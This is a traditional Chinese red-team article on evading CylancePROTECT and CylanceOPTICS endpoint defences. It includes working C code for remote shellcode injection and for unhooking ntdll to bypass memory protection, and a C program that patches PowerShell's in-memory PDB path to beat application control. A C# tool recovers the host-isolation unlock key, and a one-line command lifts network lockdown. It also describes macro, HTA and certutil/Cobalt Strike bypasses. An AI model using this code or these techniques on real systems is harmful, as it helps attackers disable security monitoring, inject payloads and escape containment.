EDR規避研究:如何繞過Cylance
一、前言
紅隊成員經常需要跟許多大型組織打交道,因此我們經常面對各種各樣的EDR(端點檢測和響應)解決方案。為了提高在這些環境中的成功率,我們會定期分析這些產品,確定防護特徵、繞過方法以及其他策略,確保行動能暢通無阻。在這些解決方案中,我們經常面對的是CylancePROTECT,這是Cylance Inc推出的一款產品(Cylance最近被Blackberry以14億美元 收購 )。
在本文中,我們將與大家分享可能幫助紅隊繞過CylancePROTECT的一些方法,並且簡要介紹一下CylanceOPTICS(能夠提供基於規則檢測的一種補充方案)。我們的目標是幫助防禦方理解該解決方案的工作原理,更好理解其中的不足,以便引入補充方案,解決潛在風險。
二、Cylance概述
CylancePROTECT(以下簡稱為Cylance)是基於裝置策略的一種EDR解決方案,可以通過Cylance SaaS口進行配置,具體策略包括如下安全相關選項:
- 記憶體操作:控制啟用哪些記憶體保護機制,包括漏洞利用、程序注入以及越界技術。
- 應用控制:阻止新應用執行。
- 指令碼控制:配置該選項以便阻止Active Script(VBS及JS)、PowerShell以及Office巨集。
- 裝置控制:配置對可移動裝置的訪問許可權。
在本文中,我們將探索這些控制機制的有效性,也會分享如何繞過或禁用這些機制的方法。我們研究的物件為CylancePROTECT 2.0.1500版,這也是本文撰寫時(2018年12月)的最新版本。
三、指令碼控制
CylancePROTECT的指令碼控制功能可以幫助管理員配置是否阻止或允許Windows指令碼、PowerShell以及Office巨集,也可以配置是否在端點上彈出警告資訊。典型的配置如下所示,可以阻止所有指令碼、PowerShell以及巨集檔案:
在這種配置下,該解決方案會禁用包含VBA巨集的簡單文件,甚至如下相對無害的巨集也無法倖免:
同時Cylance儀表盤中將生成相應事件,如下所示:
雖然這種機制對普通的VBA巨集來說非常有效,但我們發現Excel 4.0巨集並沒有在限制名單中,具備完全訪問許可權(參考 該視訊 )。
CylancePROTECT並沒有限制啟用Excel 4.0巨集的文件,甚至當策略明確要阻止巨集文件時也不起作用。因此,我們可以通過這種方法在Cylance環境中獲得初始訪問許可權。大家可以參考 Stan Hegt 發表的 研究成果 瞭解啟用Excel 4.0巨集文件的相關內容。
需要注意的是,其他控制策略(如阻止漏洞利用、注入及越界等記憶體防護策略)仍處於生效狀態,稍後我們將討論這方面內容。
除了巨集之外,CylancePROTECT也能阻止Windows Script Host檔案執行(特別是VBScript及JavaScript檔案)。因此,當我們嘗試在 .js
或者 .vbs
檔案中使用 WScript.Shell
執行指令碼時,由於啟動了ActiveScript防護,Cylance會阻止這種行為,如下所示:
Cylance面板中將看到如下錯誤資訊:
然而,如果我們使用同一段JavaScript程式碼,將其嵌入某個HTML應用中,如下所示:
可以看到,如果指令碼沒有直接使用 wscript.exe
來執行,那麼CylancePROTECT就不會應用同樣的控制策略。如 該視訊 所示,通過 mshta.exe
執行的HTA並不會遇到任何阻攔。
能彈出計算器當然不錯,接下來我們看看使用SharpShooter配合HTA時能達到什麼效果。
SharpShooter可以生成一個DotNetToJScript payload,在記憶體中執行原始shellcode(使用 VirtualAlloc
在記憶體中分配空間,獲得指向該shellcode的函式指標,然後再 執行 ,這是在.NET中執行shellcode的標準方法)。當執行HTA時,Cylance會阻止payload並生成一個錯誤,檢視面板後我們並不能得到太多資訊,但基本上可以肯定這是記憶體防護控制策略所造成的結果:
這裡先不要管shellcode執行的問題(回頭我們會解決這個問題),我們發現Cylance對執行 calc.exe
的方式並不是特別感冒(不管是通過巨集或者HTA payload)。再來看看如果嘗試下載或執行Cobalt Strike beacon會出現什麼情況。這裡我們使用如下HTA,通過WScript呼叫 certutil
來下載和執行Cobalt Strike可執行檔案:
執行過程參考 此處視訊 。
從視訊中可知,如果目標環境中部署了CylancePROTECT,那麼我們可能非常需要將常用的應用程式列入白名單中。
四、記憶體防護
現在來看一下記憶體保護機制。當分析端點安全產品的記憶體保護機制時,我們非常有必要澄清該產品如何檢測常見的可疑API呼叫(如 CreateRemoteThread
或 WriteProcessMemory
)。
我們可以通過控制檯選項瞭解Cylance支援的記憶體分析策略:
如果啟用了這些防護策略,我們發現Cylance會將 CyMemdef.dll
注入32位程序,將 CyMemDef64.dll
注入64位程序。
為了理解Cylance部署的防護措施,我們可以利用 CreateRemoteThread
來模擬惡意軟體常用的記憶體注入技術。簡單的PoC程式碼如下所示:
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, false, procID); if (hProc == INVALID_HANDLE_VALUE) { printf("Error opening process ID %dn", procID); return 1; } void *alloc = VirtualAllocEx(hProc, NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (alloc == NULL) { printf("Error allocating memory in remote processn"); return 1; } if (WriteProcessMemory(hProc, alloc, shellcode, sizeof(shellcode), NULL) == 0) { printf("Error writing to remote process memoryn"); return 1; } HANDLE tRemote = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, NULL); if (tRemote == INVALID_HANDLE_VALUE) { printf("Error starting remote threadn"); return 1; }
與我們設想的一致,執行這段程式碼會被Cylance檢測到,程序也會被終止:
檢查Cylance注入的DLL,可以發現Cylance在程序中植入了多個hook,以檢測程序是否呼叫這些可疑函式。比如,如果我們在 NtCreateThreadEx
(為 CreateRemoteThread
提供syscall)上設定一個斷點,然後呼叫該API,我們可以看到Cylance會通過 JMP
指令修改該函式:
通過 JMP
繼續執行,就會觸發Cylance警告,強制結束我們的程式。瞭解這一點後,我們可以從程序中修改被hook的指令,移除Cylance檢測機制:
#include <iostream> #include <windows.h> unsigned char buf[] = "SHELLCODE_GOES_HERE"; struct syscall_table { int osVersion; }; // Remove Cylance hook from DLL export void removeCylanceHook(const char *dll, const char *apiName, char code) { DWORD old, newOld; void *procAddress = GetProcAddress(LoadLibraryA(dll), apiName); printf("[*] Updating memory protection of %s!%sn", dll, apiName); VirtualProtect(procAddress, 10, PAGE_EXECUTE_READWRITE, &old); printf("[*] Unhooking Cylancen"); memcpy(procAddress, "x4cx8bxd1xb8", 4); *((char *)procAddress + 4) = code; VirtualProtect(procAddress, 10, old, &newOld); } int main(int argc, char **argv) { if (argc != 2) { printf("Usage: %s PIDn", argv[0]); return 2; } DWORD processID = atoi(argv[1]); HANDLE proc = OpenProcess(PROCESS_ALL_ACCESS, false, processID); if (proc == INVALID_HANDLE_VALUE) { printf("[!] Error: Could not open target process: %dn", processID); return 1; } printf("[*] Opened target process %dn", processID); printf("[*] Allocating memory in target process with VirtualAllocExn"); void *alloc = VirtualAllocEx(proc, NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (alloc == (void*)0) { printf("[!] Error: Could not allocate memory in target processn"); return 1; } printf("[*] Allocated %d bytes at memory address %pn", sizeof(buf), alloc); printf("[*] Attempting to write into victim process using WriteProcessMemoryn"); if (WriteProcessMemory(proc, alloc, buf, sizeof(buf), NULL) == 0) { printf("[!] Error: Could not write to target process memoryn"); return 1; } printf("[*] WriteProcessMemory successfuln"); // Remove the NTDLL.DLL hook added by userland DLL removeCylanceHook("ntdll.dll", "ZwCreateThreadEx", 0xBB); printf("[*] Attempting to spawn shellcode using CreateRemoteThreadn"); HANDLE createRemote = CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, NULL); printf("[*] Success :Dn"); }
執行PoC後,可以看到我們的shellcode能正常執行,不會觸發任何警告:
這種自我監管型的防護策略始終存在一些問題,因為這種機制需要依賴程序來檢測自己是否存在可疑行為。
我們在2018年11月份開展這項研究,但之前 @fsx30 已公開過這方面<a href=”https://medium.com/ @fsx30 /bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6″>研究內容,其中演示瞭如何利用該技術轉儲程序記憶體。
五、應用控制
Cylance還提供另一項保護功能,可以阻止使用者執行某些應用程式(如PowerShell)。啟用該保護功能後,如果我們嘗試執行PowerShell時,就會出現如下警告:
從前文分析可知,Cylance會將DLL注入程序中,以分析並部署防護措施。瞭解這一點後,我們可以分析 CyMemDef64.dll
,確定這裡是否存在相同限制。
我們首先發現Cylance會呼叫 NtQueryInformationProcess
來檢測應用程式可執行檔案的名稱:
提取該資訊後,將其與 PowerShell.exe
字串進行對比:
如果我們將 PowerShell.exe
可執行檔名改為 PS.exe
,是否能繞過這種限制?好吧可能沒那麼簡單(但相信我們,在沒引入其他緩解措施之前,這種方法可以繞過Cylance的PowerShell保護機制,萬能的 Powercatz.exe
)。這表明Cylance還有其他校驗措施,我們在同一個函式中找到了如下資訊:
這裡可以看到 powershell.pdb
字串會被傳遞給某個函式,用來判斷PE除錯目錄中是否存在該字串。如果滿足條件,則Cylance會將另一個DLL( CyMemDefPS64.dll
)載入PowerShell程序中,這是一個.NET assembly,負責顯示我們前面看到的警告資訊。
那麼如果我們修改PowerShell可執行檔案的PEB資訊,會出現什麼情況?
非常棒,現在我們知道Cylance阻止PowerShell執行的具體原理,但以這種方式修改程式並不是理想的解決方案,因為這樣會改變檔案的雜湊值,也會破壞檔案簽名。我們如何在不修改PowerShell可執行檔案的基礎上達到同樣效果?一種可選方法就是生成PowerShell程序,並嘗試在記憶體中修改PDB引用。
為了生成PowerShell程序,我們可以使用 CreateProcess
,傳入 CREATE_SUSPENDED
標誌。一旦建立處於掛起狀態的執行緒,我們需要定位PEB結構,找到PowerShell PE在記憶體中的基址。接下來只要在恢復執行前解析PE檔案結構並修改PDB引用即可,相關程式碼如下所示:
#include <iostream> #include <Windows.h> #include <winternl.h> typedef NTSTATUS (*NtQueryInformationProcess2)( IN HANDLE, IN PROCESSINFOCLASS, OUT PVOID, IN ULONG, OUT PULONG ); struct PdbInfo { DWORDSignature; BYTEGuid[16]; DWORDAge; charPdbFileName[1]; }; void* readProcessMemory(HANDLE process, void *address, DWORD bytes) { char *alloc = (char *)malloc(bytes); SIZE_T bytesRead; ReadProcessMemory(process, address, alloc, bytes, &bytesRead); return alloc; } void writeProcessMemory(HANDLE process, void *address, void *data, DWORD bytes) { SIZE_T bytesWritten; WriteProcessMemory(process, address, data, bytes, &bytesWritten); } void updatePdb(HANDLE process, char *base_pointer) { // This is where the MZ...blah header lives (the DOS header) IMAGE_DOS_HEADER* dos_header = (IMAGE_DOS_HEADER*)readProcessMemory(process, base_pointer, sizeof(IMAGE_DOS_HEADER)); // We want the PE header. IMAGE_FILE_HEADER* file_header = (IMAGE_FILE_HEADER*)readProcessMemory(process, (base_pointer + dos_header->e_lfanew + 4), sizeof(IMAGE_FILE_HEADER) + sizeof(IMAGE_OPTIONAL_HEADER)); // Straight after that is the optional header (which technically is optional, but in practice always there.) IMAGE_OPTIONAL_HEADER *opt_header = (IMAGE_OPTIONAL_HEADER *)((char *)file_header + sizeof(IMAGE_FILE_HEADER)); // Grab the debug data directory which has an indirection to its data IMAGE_DATA_DIRECTORY* dir = &opt_header->DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG]; // Convert that data to the right type. IMAGE_DEBUG_DIRECTORY* dbg_dir = (IMAGE_DEBUG_DIRECTORY*)readProcessMemory(process, (base_pointer + dir->VirtualAddress), dir->Size); // Check to see that the data has the right type if (IMAGE_DEBUG_TYPE_CODEVIEW == dbg_dir->Type) { PdbInfo* pdb_info = (PdbInfo*)readProcessMemory(process, (base_pointer + dbg_dir->AddressOfRawData), sizeof(PdbInfo) + 20); if (0 == memcmp(&pdb_info->Signature, "RSDS", 4)) { printf("[*] PDB Path Found To Be: %sn", pdb_info->PdbFileName); // Update this value to bypass the check DWORD oldProt; VirtualProtectEx(process, base_pointer + dbg_dir->AddressOfRawData, 1000, PAGE_EXECUTE_READWRITE, &oldProt); writeProcessMemory(process, base_pointer + dbg_dir->AddressOfRawData + sizeof(PdbInfo), (void*)"xpn", 3); } } // Verify that the PDB path has now been updated PdbInfo* pdb2_info = (PdbInfo*)readProcessMemory(process, (base_pointer + dbg_dir->AddressOfRawData), sizeof(PdbInfo) + 20); printf("[*] PDB path is now: %sn", pdb2_info->PdbFileName); } int main() { STARTUPINFOA si; PROCESS_INFORMATION pi; CONTEXT context; NtQueryInformationProcess2 ntpi; PROCESS_BASIC_INFORMATION pbi; DWORD retLen; SIZE_T bytesRead; PEB pebLocal; memset(&si, 0, sizeof(si)); memset(π, 0, sizeof(pi)); printf("Bypass Powershell restriction POCnn"); // Copy the exe to another location printf("[*] Copying Powershell.exe over to Tasks to avoid first checkn"); CopyFileA("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe", "C:\Windows\Tasks\ps.exe", false); // Start process but suspended printf("[*] Spawning Powershell process in suspended staten"); CreateProcessA(NULL, (LPSTR)"C:\Windows\Tasks\ps.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, "C:\Windows\System32\", &si, π); // Get thread address context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS; GetThreadContext(pi.hThread, &context); // Resolve GS to linier address printf("[*] Querying process for PEB addressn"); ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess"); ntpi(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen); ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead); printf("[*] Base address of Powershell.exe found to be %pn", pebLocal.Reserved3[1]); // Update the PDB path in memory to avoid triggering Cylance check printf("[*] Updating PEB in memoryn"); updatePdb(pi.hProcess, (char*)pebLocal.Reserved3[1]); // Finally, resume execution and spawn Powershell printf("[*] Finally, resuming thread... here comes Powershell :Dn"); ResumeThread(pi.hThread); }
程式碼執行效果參考 此處視訊 。
六、繞過Office巨集
前面討論過,Cylance中實現了基於Office的VBA巨集防護機制(除了缺少Excel 4.0支援之外)。如果我們仔細檢查這種防護,可以看到Cylance採用了前文類似的一些hook,在VBA執行時中添加了一些檢查操作。在這種情況下,Cylance會將hook新增到 VBE7.dll
中,後者負責提供 Shell
或 CreateObject
之類的函式。
然而我們發現,如果 CreateObject
成功呼叫,那麼Cylance就不會繼續檢查COM物件。這意味著如果我們找到方法成功初始化目標COM物件,那麼就可以繞過Cylance的保護機制。
一種方法就是簡單新增VBA專案的引用即可。比如,我們可以新增關於“Windows Script Host Object Mode”的引用:
這樣就可以在我們的VBA中訪問 WshShell
物件,繞過被hook的 CreateObject
呼叫。一旦完成該操作後,我們就可以使用常見的Office巨集技巧:
七、繞過CylanceOptics隔離
雖然我們並沒有特別關注CylanceOptics,但還是應該瞭解一下它所提供的有趣功能。
當安全人員檢測到網路中存在可疑活動時,許多EDR解決方案可以將某臺主機域其他網路隔離。在這種場景下,如果攻擊者使用該主機作為入侵網路的立足點,那麼這種方法可以有效消除攻擊者對網路的影響。
CylanceOptics也支援這種隔離功能,通過web介面提供一個Lockdown選項:
隔離某臺主機後,我們發現CylanceOptics提供了一個解鎖金鑰:
如果能重新連線之前被隔離的主機,那麼對我們的滲透過程顯然非常有價值。因此我們需要了解在攻擊者已入侵某臺主機,並且沒有獲得這種解鎖金鑰的情況下,如何解除網路隔離。
檢查CylanceOptics assembly後,我們發現其中存在一個經過混淆的呼叫,該呼叫可以用來獲取登錄檔鍵值:
我們發現該呼叫會提取登錄檔中 HKEY_LOCAL_MACHINE\SOFTWARE\Cylance\Optics\PdbP
的值,隨後該值會傳遞給.NET DPAPI ProtectData.Unprotect
API:
使用 LOCAL SYSTEM
對應的 DPAPI
主金鑰來解密這個登錄檔鍵值後,我們可以提取出正確密碼,相關程式碼如下所示:
using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace CyOpticseUnlock { class Program { static void Main(string[] args) { var fixed = new byte[] { 0x78, 0x6A, 0x34, 0x37, 0x38, 0x53, 0x52, 0x4C, 0x43, 0x33, 0x2A, 0x46, 0x70, 0x66, 0x6B, 0x44, 0x24, 0x3D, 0x50, 0x76, 0x54, 0x65, 0x45, 0x38, 0x40, 0x78, 0x48, 0x55, 0x54, 0x75, 0x42, 0x3F, 0x7A, 0x38, 0x2B, 0x75, 0x21, 0x6E, 0x46, 0x44, 0x24, 0x6A, 0x59, 0x65, 0x4C, 0x62, 0x32, 0x40, 0x4C, 0x67, 0x54, 0x48, 0x6B, 0x51, 0x50, 0x35, 0x2D, 0x46, 0x6E, 0x4C, 0x44, 0x36, 0x61, 0x4D, 0x55, 0x4A, 0x74, 0x33, 0x7E }; Console.WriteLine("CyOptics - Grab Unlock Keyn"); Console.WriteLine("[*] Grabbing unlock key from HKEY_LOCAL_MACHINE\SOFTWARE\Cylance\Optics\PdbP"); byte[] PdbP = (byte[])Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Cylance\Optics", "PdbP", new byte[] { }); Console.WriteLine("[*] Passing to DPAPI to unprotect"); var data = System.Security.Cryptography.ProtectedData.Unprotect(PdbP, fixed, System.Security.Cryptography.DataProtectionScope.CurrentUser); System.Console.WriteLine("[*] Success!! Key is: {0}", ASCIIEncoding.ASCII.GetString(data)); } } }
現在我們只需要將該密碼傳遞給CyOptics就能恢復網路連線(參考 此處視訊 )。
進一步研究後我們發現,雖然我們能提取相關金鑰,但如果我們以 LOCAL SYSTEM
身份執行CyOptics命令,那麼就不需要提供該金鑰,只需要一條簡單的命令就能解鎖網路(參考 此處視訊 ):
CyOptics.exe control unlock -net